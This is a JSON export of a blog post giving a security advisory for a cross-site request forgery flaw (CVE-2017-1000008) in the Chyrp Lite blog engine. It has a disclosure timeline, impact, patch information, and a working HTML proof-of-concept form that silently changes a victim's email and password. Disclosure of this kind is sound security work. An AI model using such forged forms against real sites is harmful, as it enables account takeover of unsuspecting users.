{"id":89,"date":"2017-03-06T21:01:24","date_gmt":"2017-03-06T21:01:24","guid":{"rendered":"https:\/\/cp270.wordpress.com\/?p=89"},"modified":"2021-01-03T16:45:07","modified_gmt":"2021-01-03T16:45:07","slug":"security-advisory-cross-site-request-forgery-in-chyrp-lite","status":"publish","type":"post","link":"https:\/\/cpearson.icu\/?p=89","title":{"rendered":"Security Advisory \u2013 Cross Site Request Forgery in Chyrp Lite"},"content":{"rendered":"

Product:<\/strong> Chyrp Lite
\nVendor:<\/strong> Open source community
\nVersion:<\/strong> 2016.04 “Lago” and earlier
\nCategory:<\/strong> Cross site request forgery (CSRF)
\nVendor Notified:<\/strong> 2017-01-05
\nPatched:<\/strong> 2017-01-06
\nDisclosed:<\/strong> 2017-03-06
\nResearcher(s):<\/strong> Carl Pearson
\nCVE:<\/strong> CVE-2017-1000008<\/p>\n

Summary<\/strong>
\nA cross-site request forgery (CSRF) vulnerability exists in the user properites function of the Chyrp Lite blog engine. An unauthenticated remote attacker can exploit the vulnerability by tricking authenticated users into visiting a webpage under attacker control.<\/p>\n

Proof of Concept<\/strong>
\nExample HTML attack form:
\n[code language=”html”]
\n<!– The form submits when this button is clicked. –>
\n<button onclick="document.csrf_form.submit()">Click to run<\/button>
\n<!– Edit the ‘action’ attribute to reflect the IP address or hostname of the victim’s Chyrp install. –>
\n<form name="csrf_form" id="csrf_form" method="POST" action="http:\/\/[host]\/?action=controls">
\n\t<input class="text" type="text" name="login" value="user" id="login" disabled="disabled"\/>
\n\t<input type="text" name="full_name" value="" id="full_name" tabindex="1"\/>
\n\t<input type="text" name="email" value="user@example.com" id="email" tabindex="1"\/>
\n\t<input type="text" name="website" value="http:\/\/yahoo.com" id="website" tabindex="1"\/>
\n\t<input type="password" name="new_password1" value="apple" id="new_password1"\/>
\n\t<input type="password" name="new_password2" value="apple" id="new_password2"\/>
\n<\/form>
\n[\/code]<\/p>\n

Impact<\/strong>
\nIf successful, an attacker can arbitrarily change the user’s password, email, and username to any desired values.<\/p>\n

Solution<\/strong>
\nChyrp Lite version 2017.01 “Swainson” patches this issue. Updating any existing Chyrp Lite installs is recommended.<\/p>\n

Reference<\/strong>
\nProject home: https:\/\/github.com\/xenocrat\/chyrp-lite
\nv2017.01 release notes: https:\/\/github.com\/xenocrat\/chyrp-lite\/releases\/tag\/v2017.01
\nChangelog: https:\/\/github.com\/xenocrat\/chyrp-lite\/commit\/79bb2de7f57d163d256b6bdb127dc09cfdb6235a
\nOWASP CSRF overview: https:\/\/www.owasp.org\/index.php\/Cross-Site_Request_Forgery_(CSRF)<\/p>\n

Edit 7\/13\/17: CVE identifier added.<\/p>\n","protected":false},"excerpt":{"rendered":"

Product: Chyrp Lite Vendor: Open source community Version: 2016.04 “Lago” and earlier Category: Cross site request forgery (CSRF) Vendor Notified: 2017-01-05 Patched: 2017-01-06 Disclosed: 2017-03-06 Researcher(s): Carl Pearson CVE: CVE-2017-1000008 Summary A cross-site request forgery (CSRF) vulnerability exists in the user properites function of the Chyrp Lite blog engine. An […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-89","post","type-post","status-publish","format-standard","hentry","category-advisory"],"_links":{"self":[{"href":"https:\/\/cpearson.icu\/index.php?rest_route=\/wp\/v2\/posts\/89","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cpearson.icu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cpearson.icu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cpearson.icu\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cpearson.icu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=89"}],"version-history":[{"count":1,"href":"https:\/\/cpearson.icu\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions"}],"predecessor-version":[{"id":169,"href":"https:\/\/cpearson.icu\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions\/169"}],"wp:attachment":[{"href":"https:\/\/cpearson.icu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=89"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cpearson.icu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=89"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cpearson.icu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=89"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}